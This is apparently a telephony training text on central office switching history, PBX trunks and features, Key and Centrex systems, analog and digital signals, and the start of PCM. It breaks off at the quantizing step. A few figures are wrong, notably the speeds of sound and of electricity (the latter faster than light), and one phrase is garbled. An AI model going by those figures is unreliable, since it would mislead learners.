In the first COs, a subscriber who wanted to place a call cranked a magneto‑generator to request service from the local phone company. An operator at the CO monitored subscriber connections by observing lamps on a switchboard console. When a subscriber's lamp lit, indicating the request for service, the operator would answer: "Number please...".

The operator connected one call to another by plugging one end of a cord into the jack of the caller and the other end of the cord into the jack of the called party, establishing a manual, physical connection.

The switchboard had to have a jack for every incoming and outgoing line that needed service. The number of lines an operator could monitor was limited by her arm's reach. Billing was accomplished by the operators writing up a ticket for each call designating its starting and ending times.

When telephone subscribers were few in number, this method worked fine. As the popularity of the phone increased, more phones placed more calls and it became increasingly unmanageable and expensive to manually switch and bill each call.

Strowger Step‑by‑Step Switch

A mechanical switch was invented in the 1890's by a Kansas City mortician named Almon B. Strowger. He became very suspicious because callers looking for a mortician were continually referred to his competition instead to him. When he learned that the local operator was the wife of his rival, his suspicions were confirmed. He set about to invent a switching system that would not be dependent upon human intervention.

His creation, called the Strowger or Step‑by‑Step switch, was the first automated electromechanical switching system. It placed switching control in the hands of the subscriber instead of the operator by adding a dialing mechanism to the phone.

The Strowger switch completed a call by progressing digit by digit through two axes of a switching matrix in the CO. A call was stepped vertically to one of ten levels and rotated horizontally to one of ten terminals.

It was called step‑by‑step because calls progress one step at a time as the customer dialed each digit of the number. When the final digit was dialed, the switch seized an available circuit and connected the call.

The result of the step‑by step switch was to eliminate the need for manual operator connection and grant privacy and call control to the subscriber.

The step‑by‑step switch was a wonderful invention for its day. Today it is obsolete. Compared to modern day switches, it is slow, noisy and too expensive to maintain. It is also both bulky and inefficient.

The Crossbar Switch

The crossbar switch was invented and developed in the late 1920s. One of its main technological advanced was the introduction of a hard wired memory to store dialed digits until the dialing was complete.

Unlike the step‑by‑step method, calls are not processed under the direct control of incoming dial pulses. In the step‑by‑step method, each phone call controlled its own pathway through the switching matrix at the speed the digits were dialed by the user. The crossbar switch introduced a better method.

Devices called registers stored the digits in memory as they were dialed by the callers. Not until all the digits were dialed would the call begin to be switched. Once all the digits were received and stored in the register, the register handed the digits to a processor to be examined and used to route the call.

When a pathway had been established and the call was connected, the register and processor would release and become available to handle another call. Collectively, this process was called `common control`.

Common control resulted in faster call completion and increased capacity of the switch. With the old step‑by‑step, the time it would take a user to physically dial the digits would occupy valuable switch time because dialing the digits was the most time consuming part of switching a call. This 8 to 12 seconds of dialing time prevented other users from accessing the switching matrix and generally slowed things down.

The genius of the crossbar common control was to store the dialed digits as they came in and then after the user finished dialing, send the digits off for processing. The act of dialing no longer kept other calls waiting for switch resources.

Common control created the separation of the control functions (setting up and directing the call) from the switching functions (physically creating the connections).

Crossbar Switching Matrix

Calls were connected by sharing a dedicated wire path through the switching matrix. Crossbar switches used the intersection of two points to make a connection. They selected from a horizontal and vertical matrix of wires, one row connected to one column. The system still stepped the call through the network, but only after all the digits were dialed. This method created a more efficient allocation of switch resources.

There are four important components of a crossbar switch.

. The marker is the brain of a crossbar switch. It identifies a line requesting service and allocates a register.

. The register provides dial tone and receives and stores the dialed digits.

. The matrix is a set of horizontal and vertical bars. The point at which the crosspoints meet establishes the connection.

. A trunk interface unit, also called a sender, processes calls from a PBX.

Although crossbar is faster and less bulky than step‑by‑step, it is still electromechanical and requires a lot of maintenance. It requires huge amounts of space, generates a lot of heat, and makes a great deal of noise.

Electronic Switching System (ESS)

The advent of electronic switching (also called stored program switching) was made possible by the transistor. Introduced in 1965, the Electronic Switching System (ESS) greatly sped up switch processing capacity and speed and has done nothing less than revolutionize the industry.

Modern ESS switches perform five main functions to establish and maintain service in a public network.

1. Establish a connection between two or more points 2. Provide maintenance and testing services

3. Record and sort customer billing charges

4. Offer customer features, such as call waiting

5. Allow access to operators for special services

An ESS uses computer‑based logic to control the same two primary operations we introduced with the crossbar ‑‑ common control and the switching matrix.

(In an ESS, the terms stored program control, common control, and electronic switching are all synonymous.)

ESS Common Control

The function of the common control is similar to its function in the crossbar. The difference is that common control is accomplished electronically instead of electromechanically. Like the crossbar, one group of control devices controls the functions of all lines. However, instead of the hard wired logic of the crossbar, the control device consists of a computer with memory, storage, and programming capability.

In the ESS, the computer governs the common control. It monitors all the lines and trunks coming into the CO, searching for changes in the electrical state of the circuit, such as a phone going off‑hook. When a subscriber goes off‑ hook and dials a number, the common control equipment detects the request for service and responds by returning the dial tone. It then receives, stores, and interprets the dialed digits.

Again, similar to the workings of the crossbar, once the digits have been processed, the computer establishes a path through the switching matrix to complete the call. After the connection for the call has been established, the common control equipment releases and becomes available to complete other calls.

ESS Switching Matrix

Recall that in the crossbar, calls were connected by sharing a dedicated wire path through the matrix, establishing a connection between an input and an output. The matrix in an ESS is logically similar to the crossbar grid except the pathway is electronic instead of electromechanical. Called a TDM bus, it is solid state circuitry and is printed into small computer controlled circuit boards. The computer controls the connections and path status map to determine which path should be established to connect the calling and called parties.

Remember

Crossbar switching matrix = maze of physical wire cross connections

ESS switching matrix = electronic multiplexed TDM (time division multiplexing) bus

ESS Advancements

The unprecedented advancement of the ESS was the speed and processing power advantage it had over the crossbar because it switched calls digitally instead of electromechanically. The processing capacity that would have required a city block of crossbar technology could be accomplished by one floor of ESS equipment. Much less effort was required to maintain the ESS because it was smaller and had fewer moving parts.

Telephone companies would have moved to the new technology for these advantages alone. But, there was much more to be offered. There was the power of the computer.

There are major advantages to a computer stored program. It allows the system to perform functions earlier switches were incapable of. For example, the switch can collect statistical information to determine its effectiveness. It can perform self‑diagnostics of circuit and system irregularities and report malfunctions. If trouble occurs, technicians can address it via a keyboard and terminal. The same terminal, often called a system managers terminal, allows personnel to perform system changes and to load new software, eliminating the need for manually rewiring connections.

The computer uses two types of memory:

. Read Only Memory (ROM) is used to store basic operating instructions and cannot be altered by the end user. The contents of this memory can only be changed by the manufacturer.

. Random Access Memory (RAM) stores configuration and database information. The contents of its memory can be changed by a system administrator.

Other important functions of the computer include

. Performing telephone billing functions

. Generating traffic analysis reports

. Generating all tones and announcements regarding the status of circuits and calls

Computer control operates under the direction of software called its generic program. Periodically updating or adding to the generic program allows the ESS to be much more flexible and manageable than previous switch generations because it is the software, not the hardware, that normally has to be upgraded.

Electronic switching heralded the introduction of new customer features and services. Credit card calls, last number redial, station transfer, conference calling, and automatic number identification (ANI) are just a few examples of unprecedented customer offerings.

The ESS is an almost fail‑safe machine. Its design objective is one hour's outage in 20 years. In today's competitive environment for higher quality communication equipment, ESS machines provide a level of service and reliability unachievable in the past.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

2| The Private Branch Exchange (PBX) |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

The two primary goals of every PBX are to

. facilitate communication in a business

. be cost effective

Organizations that have more than a few phones usually have an internal switching mechanism that connects the internal phones to each other and to the outside world.

A PBX is like a miniature Central Office switching system designed for a private institution. A PBX performs many of the same functions as a CO does. In fact, some larger institutions use genuine COs as their private PBX.

Although a PBX and a CO are closely related, there are differences between them

. A PBX is intended for private operation within a company. A CO is intended for public service.

. A PBX usually has a console station that greets outside callers and connects them to internal extensions.

. Most PBXs do not maintain the high level of service protection that must be maintained in a CO. Assurance features such as processor redundancy (in the event of processor failure) and battery backup power, which are standard in a CO, may not be a part of a PBX.

. COs require a seven digit local telephone number, while PBXs can be more flexible and create dialing plans to best serve their users (3, 4 5, or 6 digit extensions).

. A PBX can restrict individual stations or groups of stations from certain features and services, such as access to outside lines. A CO usually has no interest in restricting because these features and services are billed to the customer. COs normally provide unlimited access to every member on the network.

A PBX is composed of three major elements.

1. Common equipment (a processor and a switching matrix) 2. CO trunks

3. Station lines

Common Equipment

The operation of a PBX parallels the operation of a Central Office ESS. Its common control is

. A computer operated Central Processing Unit (CPU) running software that intelligently determines what must be done and how best to do it.

. A digital multiplexed switching matrix printed on circuit boards that establishes an interconnection between the calling and called parties.

The CPU stores operating instructions and a database of information from which it can make decisions. It constantly monitors all lines for supervisory and control signals. A switching matrix sets up the connections between stations or between stations and outgoing trunks.

Housed in equipment cabinets, PBX common equipment is often compact enough to occupy just a closet or small room. Given the extremely high rental rates many companies have, a major benefit of a PBX is its small size.

CO Trunks and Station Lines

A trunk is a communication pathway between switches. A trunk may provide a pathway between a PBX and the CO or between two PBXs and two COs. A trunk may be privately owned or be a leased set of lines that run through the Public Switched Network.

A line is a communication pathway between a switch and terminal equipment, such as between a PBX and an internal telephone or between a CO and a home telephone.

The function of the PBX is to interconnect or switch outgoing trunks with internal lines.

Two Varieties of Lines

Station lines are either analog or digital, depending on the station equipment it is connecting. If the phone on one desk is digital, it should be connected to a digital line. If the phone on the desk is analog, it should be connected to an analog line.

Varieties of Trunks

There exists a wide variety of trunks that can be connected to a PBX for off‑premises communication. Each variety has different functions and capabilities. It is important to be able to distinguish them.

Tie Trunks

Organizations supporting a network of geographically dispersed PBXs often use tie trunks to interconnect them. A tie trunk is a permanent circuit between two PBXs in a private network. Tie trunks are usually leased from the common carrier; however, a private microwave arrangement can be established. Usually, leased tie trunks are not charged on a per call basis but rather on the length of the trunk. If a tie trunk is used more than one or two hours a day, distance sensitive pricing is more economical.

A T1 trunk is a digital CO leased trunk that is capable of being multiplexed into 24 voice or data channels at a total rate of 1.544 Mbps. T1 trunks are used as PBX‑to‑PBX tie trunks, PBX‑to‑CO trunks as well as PBX trunks to bypass the local CO and connect directly to a long distance carrier. It is a standard for digital transmission in North America and Japan.

T1 uses two pairs of normal, twisted wire‑‑the same as would be found in a subscriber's residence. Pulse Code Modulation is the preferred method of analog to digital conversion.

A T2 trunk is capable of 96 multiplexed channels at a total rate of 6.312 Mbps.

A T3 trunk is capable of 672 multiplexed channels at a total rate of 44.736 Mbps.

A T4 trunk is capable of 4,032 multiplexed channels at a total of 274.176 Mbps.

Direct Inward Dialing (DID) Trunks

Incoming calls to a PBX often first flow through an attendant position. DID trunks allow users to receive calls directly from the outside without intervention from the attendant. DID offers three main advantages.

1. It allows direct access to stations from outside the PBX. 2. It allows users to receive calls even when the attendant switchboard is closed.

3. It takes a portion of the load off the attendants.

Trunk Pools

Trunks do not terminate at a user's telephone station. Instead trunks are bundled into groups of similarly configured trunks called trunk pools. When a user wants to access a trunk, he can dial a trunk access code‑‑for example, he can dial 9 to obtain a trunk in the pool. Trunk pools make system administration less complicated because it is easier to administer a small number of groups than a large number of individual trunks.

Ports

Ports are the physical and electrical interface between the PBX and a trunk or station line.

PBX Telephones

Telephone stations in a PBX are not directly connected to the CO but to the PBX instead. When a station goes off‑hook, the PBX recognizes it and sends to the station its own dial tone. The PBX requires some access digit, usually "9" to obtain an idle CO trunk from a pool to connect the station with the public network. This connection between the telephone and the PBX allows stations to take advantage of a myriad of PBX features.

The attendant console is a special PBX telephone designed to serve several functions. Traditionally, most PBXs have used attendants as the central answering point for incoming calls. Calls placed to the PBX first connected to the attendant, who answered the company name. The attendant then established a connection to the desired party. The attendant also provided assistance to PBX users, including directory assistance and reports of problems.

In recent years a number of cost‑saving improvements have been made to the attendant console. A feature commonly called automated attendant can establish connections without a human interface, substantially decreasing PBX operating costs.

Blocking versus Non‑blocking

Blocking is a critical aspect of the functioning of a PBX. A non‑blocking switch is one that provides as many input/output interface ports as there are lines in the network. In other words, the switching matrix provides enough paths for all line and trunk ports to be connected simultaneously.

PBX systems are usually blocking. It requires an exponential increase in resources and expense to ensure non‑blocking. Based on call traffic studies and the nature of calls, it is generally acceptable to engineer a low level of blocking in exchange for a major savings of common equipment resources.

Grades of service are quantitative measurements of blocking. They are written in the form:

P.xx

where xx is a two digit number that indicates how many calls out of a hundred will be blocked. The smaller the number, the better the grade of service.

P.01 means one call out of a hundred will be blocked. It is a better grade of service than P.05 that block five calls out of a hundred. Naturally the P.05 service costs less than the better grade of service provided by P.01.

Even if a PBX's switching matrix is non‑blocking, an internal caller may still not be able to reach an outside trunk if all the trunks are busy. CO trunks cost money, and very few PBXs dedicate one trunk to every internal line. Instead, traffic studies are performed to determine the percentage of time a station will be connected to an outside trunk during peak hours.

If, for example, it is determined that the average station uses a trunk only 20% of the time during peak hours, then the switch may be configured to have a 5:1 line‑to‑trunk ratio, meaning for every five lines (or extensions) there is one trunk. Most PBXs are configured on this principle as a major cost saving method.

PBX Features

COs and PBXs share many of the same attributes and functionality. However, COs are built to perform different tasks than a PBX, resulting in feature differences between them. The following is an overview of common PBX features not found in a CO.

Automatic Route Selection (ARS)

A primary concern of any telecommunications manager is to keep costs down. One of these costs is long distance service. ARS is a feature that controls long distance costs.

Most PBXs have more than just public CO trunks connected to them. They may have a combination of tie trunks to other PBXs (T1/E1 trunks and many others). Each type of trunk has a separate billing scheme, relatively more or less expensive for a given number of variables.

It is extremely difficult to attempt to educate company employees on which trunks to select for which calls at what time of day. It defeats the productivity‑raising, user‑transparency goal of any PBX if employees must pour over tariffing charts every time they want to use the phone.

Instead, ARS programs the PBX central processor to select the least expensive trunk on a call by call basis. When a user places a call, the computer determines the most cost effective route, dials the digits and completes the call.

Feature Access

PBXs support a wide variety of user features. For example, call forward, hold, and call pickup are all user features. There are two methods of activating a feature. A code, such as "*62" can be assigned to the call forward feature. To activate call forward the user presses "*62" and continues dialing.

Dial codes are not the preferred method of feature access. The problem is that users tend to forget the codes and either waste time looking them up or do not take advantage of time saving features, thereby defeating the purpose of buying them.

Dedicated button feature access is a better solution. Programmable feature buttons, located on most PBX telephones, are pressed to activate the desired feature. If a user wants to activate call forward, he presses a button labeled "call forward" and continues dialing.

The only drawback of telephones with programmable feature buttons is that they are more expensive than standard phones.

Voice Mail

For a voice conversation to occur, there is one prerequisite so obvious it is usually overlooked. The called party must be available to answer the call. In today's busy world, people are often not accessible which can create a major problem resulting in messages not being received and business not being conducted.

Statistics confirm the need for an alternate method.

75% of call attempts fail to make contact with the desired party.

50% of business calls involve one‑way information‑‑one party wishing to deliver information to another party without any response necessary.

50% of incoming calls are less important than the activity they interrupt.

Voice mail (also known as store and forward technology) is a valuable feature that is designed around today's busy, mobile office. It is like a centralized answering machine for all telephone stations in a PBX. When a telephone is busy or unattended, the systems routes the caller to a voice announcement that explains that the called party is unavailable and invites the caller to leave a message. The message is stored until the station user enters a security dial access code and retrieves the message.

Automated Attendant

Automated attendant is a feature sometimes included with voice mail. It allows outside callers to bypass a human attendant by routing their own calls through the PBX. Callers are greeted with a recorded announcement that prompts them to dial the extension number of the desired position, or stay on the line to be connected to an attendant.

Reducing cost is the primary goal of automated attendant. The decreased attendant work load more d) an pays for the cost of the software and equipment.

When automated attendant was first introduced, it met with substantial resistance from the general public. People did not want to talk to a machine. But, as its cost effectiveness drove many companies to employ it, the public has slowly adjusted to the new technology.

Restriction

Nearly every PBX enforces some combination of inside and outside calling restrictions on certain phones. Depending upon the sophistication of the PBX, a system administrator can have nearly unlimited flexibility in assigning restrictions. For example, a tire manufacturing plant could restrict all lobby phones at corporate headquarters to internal and local calls only. The phones at the storage warehouse could be restricted for only internal calling. But, all executive phones could be left unrestricted.

Long distance toll charges can be a crippling expense. Toll fraud is a major corporate problem. Restriction combats unauthorized use of company telephone resources and is a prime function of any PBX.

Tandems

As stated earlier, it is necessary to have a switching mechanism to interconnect calls. If a number of phones all wish to be able to talk to each other, an enormous amount of cabling would be wasted tying each of them together. Thus, the switch was born.

The same principle applies for interconnecting PBXs. Large firms that have PBXs scattered all over the country want each PBX to have the ability to access every other one. But the expense of directly connecting each could drive a company out of business. The solution is to create a centrally located tandem switching station to interconnect the phones from one PBX with the phones from any other. This solution creates a Private Switched Network.

Directing digits are often used to inform the tandem switch where to route the call. Each PBX is assigned a unique number. Let's say a PBX in Paris is numbered "4." To call the Paris PBX from a PBX in Chicago, a user would dial "4‑ XXXX."

Uniform Dialing Plan

A network of PBXs can be configured poorly so that calling an extension at another PBX could involve dialing a long, confusing series of numbers and create a lot of user frustration. A Uniform Dialing Plan enables a caller to dial another internal extension at any PBX on the network with a minimum of digits, perhaps four or five. The system determines where to route the call, translates the digits and chooses the best facility, all without the knowledge of the user. As far as the user knows, the call could have been placed to a station at the next desk.

Call Accounting System (CAS) and Station Message Detail Recording (SMDR)

CAS works in conjunction with SMDR to identify and monitor telephone usage in the system. SMDR records call information such as the calling number, the time of the call, and its duration. The raw data is usually listed chronologically and can be printed on reports.

SMDR by itself is not particularly useful because the sheer volume and lack of sorting capability of the reports make them difficult to work with. A Call Accounting Systems is a database program that addresses these shortcomings by producing clear, concise management reports detailing phone usage.

The primary function of CAS reports is to help control and discourage unnecessary or unauthorized use and to bill back calling charges to users. Many law firms use a call accounting system to bill individual clients for every call they make on behalf of each client.

Attendant Features

A number of features are available to improve the efficiency of attendant consoles.

Here are a few of them.

Direct Station Selection (DSS) allows attendants to call any station telephone by pressing a button labeled with its extension.

Automatic Timed Reminder alerts the attendant that a station has not picked up its call. The attendant may choose to reconnect to the call and attempt to reroute it.

Centralized Attendant Service groups all network attendants into the same physical location to avoid redundancies of service and locations.

Power Failure Schemes

If a city or a town experiences a commercial power failure, telephones connected directly to the CO will not be affected because the CO gets power from its own internal battery source. A PBX, however, is susceptible to general power failures because it usually gets its power from the municipal electric company.

There are several different ways a PBX can be configured to overcome a power failure.

A PBX can be directly connected to a DC battery which serves as its source of power. The battery is continually recharged by an AC line to the electric company. In the event of a power failure, the PBX will continue functioning until the battery runs out.

A PBX can have an Uninterruptable Power Supply (UPS) to protect against temporary surges or losses of power.

A PBX can use a Power Failure Transfer (PFT) which, in the event of a power failure, immediately connects preassigned analog phones to CO trunks, thereby using power from the CO instead of from the PBX.

Outgoing Trunk Queuing

In the event all outgoing trunks are busy, this feature allows a user to dial a Trunk Queuing code and hang up. As soon as a trunk becomes free, the system reserves it for the user, rings the station and connects the outside call automatically.

System Management

PBXs can be so large and complex that without a carefully designed method of system management chaos can result. The best, most advanced systems mimic CO management features‑‑computer access terminals which clearly and logically program and control most system features. The system manager has a wide variety of responsibilities which may include, but is not limited to

Programming telephone moves, additions, and changes on the system

Performing traffic analysis to maximize system configuration resources and optimize network performance

Responding to system‑generated alarms

Programming telephone, system, attendant, and network features.

ISDN

ISDN is not a product. Rather, it is a series of standards created by the international body, ITU (previously known as CCITT), to support the implementation of digital transmission of voice, data, and image through standard interfaces. Its goal is to combine all communications services offered over separate networks into a single, standard network. Any subscriber could gain access to this vast network by simply plugging into the wall. (At this time not all PBXs are compatible with the ISDN standard.)

Alternatives to a PBX

There are two main alternatives to purchasing a PBX. They are purchasing a Key system or renting Centrex service from the local telephone company.

Key System

Key systems are designed for very small customers, who typically use under 15 lines. There is no switching mechanism as in a PBX. Instead every line terminates on every phone. Hence, everyone with a phone can pick up every incoming call.

Key systems are characterized by a fat cable at the back of each phone. The cables are fat because each phone is directly connected to each incoming line and each line has to be wired separately to each phone.

Fat cables have become a drawback to Key systems as building wire conduits have begun to fill with wire. It has become increasingly difficult to add and move stations because technicians must physically rewire the bulky cables instead of simply programming a change in the software.

Key telephones are equipped with line assignment buttons that light on incoming calls and flash on held calls. These buttons enable a user to access each line associated with each button. Unlike a PBX, there is no need to interface with an attendant console to obtain an outside line.

Differences between Key and PBX Systems

Key systems have no switching matrix. In a Key system, incoming calls terminate directly on a station user's phone. In a PBX, incoming calls usually first go to the attendant who switches the call to the appropriate station.

PBX accesses CO trunk pools by dialing an access code such as "9." Key systems CO trunks are not pooled. They are accessed directly.

Key systems make use of a limited number of features, many of them common to the PBX. These include

Last number redial

Speed dialing

Message waiting lamp

Paging

Toll restriction

Today's PBXs can simulate Key system operation. For example, telephones can have a line directly terminating on a button for direct access.

Centrex

The other alternative to purchasing a PBX is leasing a Centrex service.

Centrex is a group of PBX‑like service offerings furnished by the local telephone company. It offers many of the same features and functions associated with a PBX, but without the expense of owning and maintaining equipment and supporting in‑house administrative personnel.

Because network control remains the responsibility of the CO, companies that choose Centrex service over purchasing and maintaining a private PBX can ignore the sophisticated world of high tech telecommunications and leave it up to the telephone company representatives.

To provide Centrex service, a pair of wires is extended from the CO to each user's phone. Centrex provides an "extension" at each station complete with its own telephone number. No switching equipment is located at the customer premises. Instead, Centrex equipment is physically located at the CO.

There are a number of reasons a company would choose a Centrex system over owning their own PBX. Currently Centrex has six million customers in the United States market.

Advantages of a Centrex System over a PBX:

Nearly uninterruptable service due to large redundancies in the CO

Easily upgraded to advanced features.

No floor space requirement for equipment.

No capital investment

24‑hour maintenance coverage by CO technicians

Inherent Direct Inward Dialing (DID). All lines terminate at extensions, instead of first flowing through a switchboard.

Call accounting and user billing as inherent part of the service.

Reduced administrative payroll.

Disadvantages of a Centrex System:

Cost. Centrex is tariffed by the local telephone company and can be very expensive. Companies are charged for each line connected to the Centrex, as well for the particular service plan chosen. Additionally, Centrex service may be subject to monthly increases.

Feature availability. Centrex feature options are generally not state of the art, lagging behind PBX technology. Not all COs are of the same generation and level of sophistication‑‑a company associated with an older CO may be subject to inferior service and limited or outdated feature options.

Control of the network is the responsibility of the CO. While this release from responsibility is often cited as a positive feature of Centrex, there are drawback to relinquishing control. CO bureaucracy can be such that a station move, addition or change can sometimes take days to achieve. Furthermore, each request is charged a fee. Also, some companies are more particular about certain features of their network (security for example) and require direct control for themselves.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3| Properties of Analog and Digital Signals |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A man in Canada picks up a telephone and dials a number. Within seconds, he begins talking to his business partner in Madrid. How can this be?

Telephony is a constantly evolving technology with scientific rules and standards. You will learn to make sense of what would otherwise seem impossible.

Voice travels at 250 meters per second and has a range limited to the strength of the speaker's lungs. In contrast, electricity travels at speeds approaching the speed of light (310,000 Km per second) and can be recharged to travel lengths spanning the globe. Obviously, electricity is a more effective method of transmission.

To capitalize on the transmission properties of electricity, voice is first converted into electrical impulses and then transmitted. These electrical impulses represent the varying characteristics that distinguish all of our voices. The impulses are transmitted at high speeds and then decoded at the receiving end into a recognizable duplication of the original voice.

For a hundred years, scientists have been challenged by how best to represent voice by electrical impulses. An enormous amount of effort has been devoted to solving this puzzle. The two forms of electrical signals used to represent voice are analog and digital.

Both analog and digital signals are composed of waveforms. However, their waveforms have very distinctive properties which distinguish them. To understand the science of telephony, it is necessary to understand how analog and digital signals function, and what the differences between them are.

If you do not possess a fundamental understanding of basic waveforms, you will not understand many of the more advanced concepts of telecommunications.

Analog Signal Properties

Air is the medium that carries sound. When we speak to one another, our vocal chords create a disturbance of the air. This disturbance causes air molecules to become expanded and compress thus creating waves. This type of wave is called analog, because it creates a waveform similar to the sound it represents.

Analog waves are found in nature. They are continually flowing and have a limitless number of values. The sine wave is a good example of an analog signal.

Three properties of analog signals are particularly important in transmission:

amplitude frequency phase

Amplitude

Amplitude refers to the maximum height of an analog signal. Amplitude is measured in decibels when the signal is measured in the form of audible sound. Amplitude is measured in volts when the signal is in the form of electrical energy.

Amplitude of an Analog Wave

Volts represent the instantaneous amount of power an analog signal contains.

Amplitude, wave height, and loudness of an analog signal represent the same property of the signal. Decibels and volts are simply two different units of measurement which are used to quantify this property.

Frequency

Frequency is the number of sound waves or cycles that occur in a given length of time. A cycle is represented by a 360 degree sine wave. Frequency is measured in cycles per second, commonly called hertz (Hz).

Frequency corresponds to the pitch (highness or lowness) of a sound. The higher the frequency, the higher the pitch. The high pitch tone of a flute will have a higher frequency than the low pitch tone of a bass.

Phase refers to the relative position of a wave at a point in time. It is useful to compare the phase of two waves that have the same frequency by determining whether the waves have the same shape or position at the same time. Waves that are in‑step are said to be in phase, and waves that are not synchronized are called out‑of‑phase.

Modulation

The reason these three properties are significant is that each can be changed (modulated) to facilitate transmission.

The term modulation means imposing information on an electrical signal.

The process of modulation begins with a wave of constant amplitude, frequency, and phase called carrier wave. Information signals representing voice, data, or video modulate a property (amplitude, frequency, or phase) of the carrier wave to create a representation of itself on the wave.

Amplitude Modulation is a method of adding information to an analog signal by varying its amplitude while keeping its frequency constant. AM radio is achieved by amplitude modulation.

Frequency Modulation adds information to an analog signal by varying its frequency while keeping its amplitude constant. FM radio is achieved by frequency modulation.

Phase Modulation adds information to an analog signal by varying its phase.

The modulated wave carrying the information is then transmitted to a distant station where it is decoded and the information is extracted from the signal.

Properties of Digital Signals

Unlike analog signals, digital signals do not occur in nature. Digital signals are an invention of mankind. They were created as a method of coding information. An early example of digital signals is the Morse Code.

Digital signals have discrete, non‑continuous values. Digital signals have only two states:

Type of Signal State

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Light switch On Off

Voltage Voltage Level 1 Voltage Level 2

(‑2 volts) (+2 volts)

Morse Short beat Long beat

Computers and humans cannot communicate directly with each other. We do not understand what tiny bits and voltage changes mean. Computers do not understand the letters of the alphabet or words.

For computers and humans to communicate with each other, a variety of binary (digital) languages, called character codes, have been created. Each character of a character code represents a unique letter of the alphabet: a digit, punctuation mark, or printing character.

The most popular character code is call ASCII (America Standard Code for Information Interchange). It uses a seven bit coding scheme‑‑ each character consists of a unique combination of seven 1s and 0s. For example, the capital letter T is represented by the ASCII 1010100; the number 3 by the ACSII 0110011. The maximum number of different characters which can be coded in ASCII is 128).

English ASCII

T 1010100

3 0110011

Another character code is called Extended ASCII. Extended ASCII builds upon the existing ASCII character code. Extended ASCII codes characters into eight bits providing 256 character representations). The extra 127 characters represent foreign language letters and other useful symbols.

Signal Loss ‑ Attenuation

Analog and digital signals are transmitted to provide communication over long distances. Unfortunately, the strength of any transmitted signal weakens over distance. This phenomenon is called attenuation. Both analog and digital signals are subject to attenuation, but the attenuation is overcome in very different ways.

Analog Attenuation

Every kilometer or so, an analog signal must be amplified to overcome natural attenuation. Devices called amplifiers boost all the signals they receive, strengthening the signals to their original power. The problem is that over distance, noise is created and it is boosted along with the desired signal.

The result of using amplifiers is that both the noise (unwanted electrical energy) and the signal carrying the information are amplified. Because the noise is amplified every kilometer, it can build up enough energy to make a conversation incomprehensible. If the noise becomes too great, communication may become impossible.

Two different types of noise affect signal quality.

White noise is the result of unwanted electrical signals over lines. When it becomes loud enough, it sounds like the roar of the ocean at a distance.

Impulse noise is caused by intermittent disturbances such as telephone company switch activity or lightning. It sounds like pops and crack over the line.

As analog signals pass through successive amplifiers, the noise is amplified along with the signal and therefore causes the signal to degenerate.

Digital Attenuation

Although digital signals are also affected by attenuation, they are capable of a much more effective method to overcome signal loss. A device called a regenerative repeater determines whether the incoming digital signal is a 1 or a 0. The regenerative repeater then recreates the signal and transmits it at a higher signal strength. This method is more effective than repeating an analog signal because digital signals can only be one of two possible states. Remember that an analog signal is comprised of an infinite number of states.)

The advantage of a digital regenerator is that noise is not reproduced. At each regenerative repeater, all noise is filtered out‑‑ a major advantage over analog amplification.

Advantages of Digital over Analog Signals

1. Digital regenerative repeaters are superior to analog amplifiers.

A buildup of noise causes a distortion of the waveform. If the distortion is large enough, a signal will not arrive in the same form as it was transmitted. The result is errors in transmission.

In digital transmission, noise is filtered out leaving a clean, clear signal. A comparison of average error rates shows

Analog: 1 error every 100,000 signals

Digital: 1 error every 10,000,000 signals

2. The explosion of modern digital electronic equipment on the market has greatly reduced its price, making digital communications increasingly more cost effective. The price of computer chips, the brains of electronic equipment, has dropped dramatically in recent years further reducing the price of digital equipment.

This trend will almost certainly continue adding more pressure to use digital methods.

3. An ever increasing bulk of communication is between digital equipment (computer‑to‑computer)

For most of telephony history, long distance communication meant voice telephone conversations. Because voice is analog in nature, it was logical to use analog facilities for transmission. Now the picture is changing. More and more communication is between computers, digital faxes, and other digital transmission devices.

Naturally, it is preferable to send digital data over digital transmission equipment when both sending and receiving devices are digital since there is no need to convert the digital signals to analog to prepare them for analog transmission.

Historically, telephone networks were intended to carry analog voice traffic. Therefore, equipment was designed to create, transmit, and process analog signals. As technology in computers (microprocessors) and digital transmission has advanced, nearly all equipment installed in new facilities are digital.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

4| Analog‑Digital Conversion |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

Because it offers better transmission quality, almost every long distance telephone communication now uses digital transmission on the majority of their lines. But since voice in its natural form is analog, it is necessary to convert these. In order to transmit analog waves over digital facilities to capitalize on its numerous advantages, analog waves are converted to digital waves.

Pulse Code Modulation (PCM)

The conversion process is called Pulse Code Modulation (PCM) and is performed by a device called a codec (coder/decoder). PCM is a method of converting analog signals into digital 1s and 0s, suitable for digital transmission. At the receiving end of the transmission, the coded 1s and 0s are reconverted into analog signals which can be understood by the listener.

Three Step Process of PCM

Step 1 ‑ Sampling

Sampling allows for the recording of the voltage levels at discrete points in prescribed time intervals along an analog wave. Each voltage level is called a sample. Nyquist's Theorem states:

If an analog signal is sampled at twice the rate of the highest frequency it attains, the reproduced signal will be a highly accurate reproduction of the original.

The highest frequency used in voice communications is 4000 Hz (4000 cycles per second). Therefore, if a signal is sampled 8000 times per second, the listener will never know they have been connected and disconnected 8000 times every second! They will simply recognize the signal as the voice of the speaker.

To visualize this procedure better, consider how a movie works. Single still frames are sped past a light and reproduced on a screen. Between each of the frames is a dark space. Since the frames move so quickly, the eye does not detect this dark space. Instead the eye perceives continuous motion from the still frames.

PCM samples can be compared to the still frames of a movie. Since the voice signal is sampled at such frequent intervals, the listener does not realize that there are breaks in the voice and good quality reproduction of voice can be achieved. Naturally, the higher the sampling rate, the more accurate the reproduction of the signal. Dr. Nyquist was the one who discovered that only 8000 samples per second are needed for excellent voice reproduction.

The 8000 samples per second are recorded as a string of voltage levels. This string is called a Pulse Amplitude Modulation (PAM) signal.

Step 2 ‑ Quantizing

